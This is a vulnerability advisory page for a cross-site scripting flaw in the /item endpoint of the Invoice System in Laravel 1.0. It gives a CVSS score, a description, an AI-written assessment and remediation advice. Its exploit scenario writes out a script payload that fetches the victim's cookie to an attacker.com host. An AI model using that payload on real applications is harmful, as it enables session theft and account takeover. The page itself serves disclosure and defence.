Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Primary rating from NVD · only source for this CVE.
CVSS VectorNVD
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
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9DescriptionCVE.org
A flaw has been found in code-projects Invoice System in Laravel 1.0. Affected is an unknown function of the file /item. Executing a manipulation of the argument item name/description can lead to cross site scripting. It is possible to launch the attack remotely. The exploit has been published and may be used.
AnalysisAI
Cross-site scripting (XSS) in code-projects Invoice System in Laravel 1.0 allows authenticated remote attackers to inject malicious scripts via the item name/description parameter in the /item endpoint. The vulnerability requires user interaction (UI:P) and affects only the integrity of victim data (VI:L), but publicly available exploit code exists and the attack vector is network-accessible.
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Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Exploitation requires: (1) valid authentication credentials to access the Invoice System in Laravel application; (2) the ability to create or modify an invoice item with a crafted name/description parameter containing XSS payload; (3) a victim user with higher or equal privileges to view the poisoned item, triggering the reflected/stored XSS in their browser. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | This is a moderate-risk XSS vulnerability with several limiting factors. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An authenticated user (attacker with system access) navigates to the /item creation or editing page and injects a malicious JavaScript payload such as <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> into the item name field. When a victim user subsequently views the item (e.g., in an invoice dashboard or item list), the script executes in their browser context, stealing their session cookie and enabling account takeover or further lateral movement. … |
| Remediation | Immediate action: Apply proper output encoding to all user-controlled input rendered in the /item endpoint. … Detailed patch versions, workarounds, and compensating controls in full report. |
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External POC / Exploit Code
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EUVD-2026-25811